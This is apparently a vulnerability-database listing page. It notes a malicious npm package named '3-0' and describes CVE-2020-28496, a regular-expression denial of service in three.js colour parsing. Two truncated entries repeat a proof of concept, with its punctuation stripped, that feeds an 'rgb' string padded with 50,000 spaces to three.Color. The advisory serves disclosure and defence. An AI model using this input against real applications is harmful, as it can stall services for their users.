Malicious Package

Overview 3-0 is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package authorship...

Denial of service in three

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: js var three = require'three' function buildblankn var ret = "rgb" for var i = 0; i n; i++ ret += " " return ret + ""; var Color = three.Color var time = Date.now; new Colorbuildblank50000 var...

CVE-2020-28496

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require'three' function buildblank n var ret = "rgb" for var i = 0; i n; i++ ret += " " return ret + ""; var Color = three.Color var time = Date.now; new Colorbuildblank50000 var...

CVE-2020-28496

CVE-2020-28496 affects the three.js library (Color) before version 0.125.0. The root cause is a Regular Expression Denial of Service (ReDoS) triggered when handling rgb/hsl color strings, demonstrated by a PoC that builds an abnormally long rgb(…) string. Documented impact includes potential perf...